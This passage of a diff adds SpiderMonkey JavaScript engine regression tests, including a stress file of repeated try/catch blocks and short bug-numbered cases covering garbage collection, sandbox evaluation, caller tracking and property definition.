+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {
+    if (2 == 0) { } else { []; }
+} catch (e) {}
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-563210.js b/js/src/tests/js1_8_5/regress/regress-563210.js
new file mode 100644
index 000000000..d5ba6b2e7
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-563210.js
@@ -0,0 +1,28 @@
+// |reftest| skip-if(Android)
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributors: Gary Kwong and Nicholas Nethercote
+ */
+
+if (typeof gczeal != 'undefined' && typeof gc != 'undefined') {
+    try
+    {
+        try {
+            __defineGetter__("x", gc)
+        } catch (e) {}
+        gczeal(1)
+        print(x)(Array(-8))
+    }
+    catch(ex)
+    {
+    }
+}
+
+// Reset gczeal.
+if (typeof gczeal !== 'undefined')
+    gczeal(0)
+
+reportCompare("no assertion failure", "no assertion failure", "bug 563210");
+
+
diff --git a/js/src/tests/js1_8_5/regress/regress-563221.js b/js/src/tests/js1_8_5/regress/regress-563221.js
new file mode 100644
index 000000000..beb82b499
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-563221.js
@@ -0,0 +1,8 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+// Contributor: Jason Orendorff <jorendorff@mozilla.com>
+
+"" + eval("(function () { if (x) ; else if (y) n(); else { " + Array(10000).join("e;") + " } });");
+
+if (this.reportCompare)
+    reportCompare(0, 0, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-566549.js b/js/src/tests/js1_8_5/regress/regress-566549.js
new file mode 100644
index 000000000..3c5decd0f
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-566549.js
@@ -0,0 +1,20 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+// Contributors: Jesse Ruderman <jruderman@gmail.com>,
+//               Gary Kwong <gary@rumblingedge.com>,
+//               Jason Orendorff <jorendorff@mozilla.com>
+
+try {
+    evalcx('var p;', []);
+} catch (exc) {}
+
+try {
+    evalcx('');
+    Function("evalcx(\"var p\",[])")();
+} catch (exc) {}
+
+try {
+    evalcx('var p;');
+} catch (exc) {}
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-567152.js b/js/src/tests/js1_8_5/regress/regress-567152.js
new file mode 100644
index 000000000..02f7b2401
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-567152.js
@@ -0,0 +1,12 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+// Contributors: Gary Kwong <gary@rumblingedge.com>,
+//               Jason Orendorff <jorendorff@mozilla.com>
+
+function c(a) {
+    this.f = function () { a; };
+}
+c(0);  // set both BRANDED and GENERIC bits in global scope
+Object.defineProperty(this, "f", {configurable: true, enumerable: true, value: 3});
+
+reportCompare(0, 0, "");
diff --git a/js/src/tests/js1_8_5/regress/regress-569306.js b/js/src/tests/js1_8_5/regress/regress-569306.js
new file mode 100644
index 000000000..221782186
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-569306.js
@@ -0,0 +1,10 @@
+function f() {}
+var g = new Function();
+delete Function;
+function h() {}
+
+assertEq(f.__proto__, g.__proto__);
+assertEq(g.__proto__, h.__proto__);
+assertEq(false, "Function" in this);
+
+reportCompare("ok", "ok", "bug 569306");
diff --git a/js/src/tests/js1_8_5/regress/regress-571014.js b/js/src/tests/js1_8_5/regress/regress-571014.js
new file mode 100644
index 000000000..0f8a51c4d
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-571014.js
@@ -0,0 +1,32 @@
+
+var F, o;
+
+F = function () {};
+F.prototype = new ArrayBuffer(1);
+o = new F();
+try {
+    o.byteLength;
+} catch (ex) {
+    // o is not a platform object
+    assertEq(ex instanceof TypeError, true);
+}
+
+o = {};
+o.__proto__ = new Int32Array(1);
+try {
+    o.buffer.byteLength;
+} catch (ex) {
+    // o is not a platform object
+    assertEq(ex instanceof TypeError, true);
+}
+
+F = function () {};
+F.prototype = new Int32Array(1);
+o = new F();
+try {
+    o.slice(0, 1);
+    reportFailure("Expected an exception!");
+} catch (ex) {
+}
+
+reportCompare("ok", "ok", "bug 571014");
diff --git a/js/src/tests/js1_8_5/regress/regress-573875.js b/js/src/tests/js1_8_5/regress/regress-573875.js
new file mode 100644
index 000000000..fcfc00a9e
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-573875.js
@@ -0,0 +1,21 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var o = {__iterator__:null, a:1, b:2, c:3}
+var expect = '__iterator__,a,b,c,';
+var actual = '';
+
+try {
+    for (var i in o)
+        actual += i + ',';
+} catch (e) {
+    actual = '' + e;
+    if (/invalid __iterator__ value/.test(actual) ||
+        /null is not a function/.test(actual)) {
+        expect = actual;
+    }
+}
+
+reportCompare(expect, actual, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-577648-1.js b/js/src/tests/js1_8_5/regress/regress-577648-1.js
new file mode 100644
index 000000000..d40c7b0e4
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-577648-1.js
@@ -0,0 +1,87 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var count = 0;
+
+function testCaller(obj) {
+    switch (++count) {
+      case 1:
+      case 2:
+        /*
+         * The first two times, obj is objA. The first time, we reference
+         * arguments.callee.caller before obj.go, so the caller getter must
+         * force the joined function object in the stack frame to cross the
+         * method read barrier. The second time, obj.go has been cloned and
+         * it should match the new frame's callee from the get-go.
+         */
+        assertEq(obj, objA);
+        break;
+
+      case 3: {
+        assertEq(obj, objB);
+
+        /*
+         * Store another clone of the joined function object before obj.go has
+         * been read, but after it has been invoked via objB.go(objB).
+         *
+         * In this case, arguments.callee.caller must not lie and return what
+         * is currently stored in objB.go, since that function object (objA.go)
+         * was cloned earlier, when count was 1, and it is not the function
+         * object that was truly invoked.
+         *
+         * But since the invocation of objB.go(objB) did not clone go, and the
+         * following assignment overwrote the invoked value, leaving the only
+         * reference to the joined function object for go in the stack frame's
+         * callee (argv[-2]) member, the arguments.callee.caller reference must
+         * clone a function object for the callee, store it as the callee, and
+         * return it here.
+         *
+         * It won't equal obj.go, but (implementation detail) it should have
+         * the same proto as obj.go
+         */
+        obj.go = objA.go;
+
+        let caller = arguments.callee.caller;
+        let obj_go = obj.go;
+        return caller != obj_go && caller.__proto__ == obj_go.__proto__;
+      }
+
+      case 4: {
+        assertEq(obj, objC);
+
+        let save = obj.go;
+        delete obj.go;
+        return arguments.callee.caller == save;
+      }
+
+      case 5: {
+        assertEq(obj, objD);
+
+        let read = obj.go;
+        break;
+      }
+    }
+
+    return arguments.callee.caller == obj.go;
+}
+
+function make() {
+    return {
+        go: function(obj) {
+            return testCaller(obj);
+        }
+    };
+}
+
+var objA = make(),
+    objB = make(),
+    objC = make(),
+    objD = make();
+
+reportCompare(true, objA.go(objA), "1");
+reportCompare(true, objA.go(objA), "2");
+reportCompare(true, objB.go(objB), "3");
+reportCompare(true, objC.go(objC), "4");
+reportCompare(true, objD.go(objD), "5");
diff --git a/js/src/tests/js1_8_5/regress/regress-577648-2.js b/js/src/tests/js1_8_5/regress/regress-577648-2.js
new file mode 100644
index 000000000..d9ba91316
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-577648-2.js
@@ -0,0 +1,12 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Jason Orendorff
+ */
+
+var o = { f: function() { return o.g(); }, g: function() { return arguments.callee.caller; } };
+var c = o.f();
+var i = 'f';
+var d = o[i]();
+
+reportCompare(true, c === o.f && d === o.f(), "");
diff --git a/js/src/tests/js1_8_5/regress/regress-583429.js b/js/src/tests/js1_8_5/regress/regress-583429.js
new file mode 100644
index 000000000..67e1b4195
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-583429.js
@@ -0,0 +1,7 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+// Contributor: Andreas Gal <gal@uci.edu>
+
+assertEq(Object.getOwnPropertyNames(Array.prototype).indexOf("length") >= 0, true);
+
+reportCompare("ok", "ok", "bug 583429");
diff --git a/js/src/tests/js1_8_5/regress/regress-584355.js b/js/src/tests/js1_8_5/regress/regress-584355.js
new file mode 100644
index 000000000..4ddfe65d3
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-584355.js
@@ -0,0 +1,7 @@
+var actual;
+var expect = "function f() { ff (); }";
+function fun() {
+    (new Function ("function ff () { actual = '' + ff. caller; } function f () { ff (); } f ();")) ();
+}
+fun();
+reportCompare(expect, actual, "");
diff --git a/js/src/tests/js1_8_5/regress/regress-584648.js b/js/src/tests/js1_8_5/regress/regress-584648.js
new file mode 100644
index 000000000..a1635ea51
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-584648.js
@@ -0,0 +1,16 @@
+// |reftest| skip
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+// Contributors: Gary Kwong <gary@rumblingedge.com>
+//               Jason Orendorff <jorendorff@mozilla.com>
+
+// on a non-global object
+var x = {};
+x.watch("p", function () { evalcx(''); });
+x.p = 0;
+
+// on the global
+watch("e", (function () { evalcx(''); }));
+e = function () {};
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-585257.js b/js/src/tests/js1_8_5/regress/regress-585257.js
new file mode 100644
index 000000000..7d076af23
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-585257.js
@@ -0,0 +1,7 @@
+// |reftest| skip
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+// Contributor: Gary Kwong <gary@rumblingedge.com>
+
+Object.create(evalcx('')).__defineSetter__('toString', function(){});
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-586482-1.js b/js/src/tests/js1_8_5/regress/regress-586482-1.js
new file mode 100644
index 000000000..1cab74a3f
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-586482-1.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var expect = true;
+var actual;
+
+var checkCaller = function(me) {
+    var caller = arguments.callee.caller;
+    var callerIsMethod = (caller === me['doThing']);
+    actual = callerIsMethod;
+};
+
+var MyObj = function() {
+};
+
+MyObj.prototype.doThing = function() {
+    checkCaller(this);
+};
+
+(new MyObj()).doThing();
+
+reportCompare(expect, actual, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-586482-2.js b/js/src/tests/js1_8_5/regress/regress-586482-2.js
new file mode 100644
index 000000000..7eb44d020
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-586482-2.js
@@ -0,0 +1,22 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var expect = true;
+var actual;
+
+var checkCaller = function(me) {
+    var caller = arguments.callee.caller;
+    var callerIsMethod = (caller === me['doThing']);
+    actual = callerIsMethod;
+};
+
+Object.prototype.doThing = function() {
+    checkCaller(this);
+};
+
+["dense"].doThing();
+
+reportCompare(expect, actual, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-586482-3.js b/js/src/tests/js1_8_5/regress/regress-586482-3.js
new file mode 100644
index 000000000..92e9d5c84
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-586482-3.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var expect = true;
+var actual;
+
+var checkCaller = function(me) {
+    var f = me['doThing'];
+    delete MyObj.prototype['doThing'];
+    var caller = arguments.callee.caller;
+    var callerIsMethod = (f === caller);
+    actual = callerIsMethod;
+};
+
+var MyObj = function() {
+};
+
+MyObj.prototype.doThing = function() {
+    checkCaller(this);
+};
+
+(new MyObj()).doThing();
+
+reportCompare(expect, actual, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-586482-4.js b/js/src/tests/js1_8_5/regress/regress-586482-4.js
new file mode 100644
index 000000000..34352bfe7
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-586482-4.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var expect, actual;
+
+var obj = {
+    f: function() {
+        expect = this.g;
+        actual = arguments.callee.caller;
+        print("Ok");
+    }
+};
+
+var obj2 = { __proto__: obj, g: function() { this.f(); }};
+
+var obj3 = { __proto__: obj2, h: function() { this.g(); }};
+
+var obj4 = { __proto__: obj3 }
+
+obj4.h();
+
+reportCompare(expect, actual, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-586482-5.js b/js/src/tests/js1_8_5/regress/regress-586482-5.js
new file mode 100644
index 000000000..3ddc14193
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-586482-5.js
@@ -0,0 +1,18 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function check() {
+    obj2.__proto__ = null;
+    return arguments.callee.caller;
+}
+
+var obj = { f: function() { check(); }};
+
+var obj2 = { __proto__: obj };
+
+obj2.f();
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-588339.js b/js/src/tests/js1_8_5/regress/regress-588339.js
new file mode 100644
index 000000000..b23f018f9
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-588339.js
@@ -0,0 +1,5 @@
+({})
+eval("{}")
+
+/* Watch for crash. */
+reportCompare(0, 0, "");
diff --git a/js/src/tests/js1_8_5/regress/regress-591846.js b/js/src/tests/js1_8_5/regress/regress-591846.js
new file mode 100644
index 000000000..68b1feca3
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-591846.js
@@ -0,0 +1,64 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function check(obj, name, value, readonly) {
+    // Start with a non-configurable, writable data property implemented via
+    // js::PropertyOp getter and setter.
+    var pd = Object.getOwnPropertyDescriptor(obj, name);
+
+    assertEq(pd.configurable, false, "non-configurable " + name);
+    assertEq(pd.writable, !readonly, "writable " + name);
+
+    try {
+        // Do not allow a transition from js::PropertyOp to writable js::Value
+        // data property.
+        Object.defineProperty(obj, name, {writable: true});
+        assertEq(0, 1);
+    } catch (e) {
+        assertEq('' + e, "TypeError: can't redefine non-configurable property '" + name + "'");
+    }
+
+    if (!readonly) {
+        try {
+            // Do not allow the property denoted by name to become a true data
+            // property via a descriptor that preserves the native property's
+            // writable attribute.
+            Object.defineProperty(obj, name, {value: value});
+            assertEq(0, 1);
+        } catch (e) {
+            assertEq('' + e, "TypeError: can't redefine non-configurable property '" + name + "'");
+        }
+    }
+
+    try {
+        // Do not allow the property to be frozen at some bogus value.
+        Object.defineProperty(obj, name, {value: "bogus", writable: false});
+        assertEq(0, 1);
+    } catch (e) {
+        assertEq('' + e, "TypeError: can't redefine non-configurable property '" + name + "'");
+    }
+
+    // Now make name non-writable.
+    Object.defineProperty(obj, name, {writable: false})
+
+    // Assert that the right getter result "stuck".
+    assertEq(obj[name], value);
+
+    // Test that it is operationally non-writable now.
+    obj[name] = "eek!";
+    assertEq(obj[name], value);
+}
+
+// Reset RegExp.leftContext to the empty string.
+/x/.test('x');
+
+var d = Object.getOwnPropertyDescriptor(RegExp, "leftContext");
+assertEq(d.set, undefined);
+assertEq(typeof d.get, "function");
+assertEq(d.enumerable, true);
+assertEq(d.configurable, false);
+assertEq(d.get.call(RegExp), "");
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-591897.js b/js/src/tests/js1_8_5/regress/regress-591897.js
new file mode 100644
index 000000000..11e1f05e6
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-591897.js
@@ -0,0 +1,14 @@
+// |reftest| skip
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+// Contributor: Gary Kwong <gary@rumblingedge.com>
+
+var expect = 42;
+var actual = (function({
+    x: [w]
+},
+x) {
+    with({}) {return w;}
+})({x:[42]});
+
+reportCompare(expect, actual, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-592202-3.js b/js/src/tests/js1_8_5/regress/regress-592202-3.js
new file mode 100644
index 000000000..db44245b0
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-592202-3.js
@@ -0,0 +1,28 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+test();
+
+function test()
+{
+  var counter = 0;
+  function f(x,y) {
+      try
+      { 
+        throw 42;
+      }
+      catch(e2)
+      { 
+        foo(function(){ return x; }| "9.2" && 5 || counter && e);
+        ++counter;
+      }
+  }
+
+  f(2, 1);
+}
+
+function foo(bar) { return ""+bar; }
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-592202-4.js b/js/src/tests/js1_8_5/regress/regress-592202-4.js
new file mode 100644
index 000000000..742528056
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-592202-4.js
@@ -0,0 +1,31 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function p() { }
+
+function test()
+{
+  var counter = 0;
+
+  function f(x) {
+      try
+      { 
+        throw 42;
+      }
+      catch(e)
+      { 
+        assertEq(counter, 0);
+        p(function(){x;});
+        counter = 1;
+      }
+  }
+
+  f(2);
+  assertEq(counter, 1);
+}
+
+test();
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-592556-c35.js b/js/src/tests/js1_8_5/regress/regress-592556-c35.js
new file mode 100644
index 000000000..c2ceb4a32
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-592556-c35.js
@@ -0,0 +1,20 @@
+// Any copyright is dedicated to the Public Domain.

+// http://creativecommons.org/licenses/publicdomain/

+// Contributor: Jason Orendorff <jorendorff@mozilla.com>

+

+var obj = {a: 0, b: 1, c: 2};

+delete obj.b;  // switch to dictionary mode

+Object.defineProperty(obj, 'g',

+                      {get: function () { return -1; }, configurable: true});

+for (var i = 3; i < 20; i++)

+    obj['x' + i] = i;  // get property table

+for (var i = 3; i < 20; i++)

+    delete obj['x' + i];  // add to freelist

+delete obj.g;  // must update lastProp->freeslot, to avoid assertion

+

+// extra junk to try to hit the assertion, if freeslot is not updated

+gc();

+obj.d = 3;

+obj.e = 4;

+

+reportCompare(0, 0, 'ok');

diff --git a/js/src/tests/js1_8_5/regress/regress-593256.js b/js/src/tests/js1_8_5/regress/regress-593256.js
new file mode 100644
index 000000000..fe24bee40
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-593256.js
@@ -0,0 +1,21 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+eval("\
+  (function(){for(d in[0,Number]) {\
+    this.__defineGetter__(\"\",function(){}),\
+    [(this.__defineGetter__(\"x\",Math.pow))]\
+  }})\
+")()
+delete gc
+eval("\
+  (function() {\
+    for(e in this.__defineSetter__(\"x\",function(){})){}\
+  })\
+")()
+delete gc
+
+reportCompare(true, true, "don't crash");
diff --git a/js/src/tests/js1_8_5/regress/regress-595230-2.js b/js/src/tests/js1_8_5/regress/regress-595230-2.js
new file mode 100644
index 000000000..02499df76
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-595230-2.js
@@ -0,0 +1,10 @@
+// |reftest| fails-if(!xulRuntime.shell)
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+// Contributors: Jason Orendorff <jorendorff@mozilla.com>
+
+var s = evalcx("");
+delete s.Object;
+evalcx("var x;", s);
+
+this.reportCompare(0, 0, "ok");
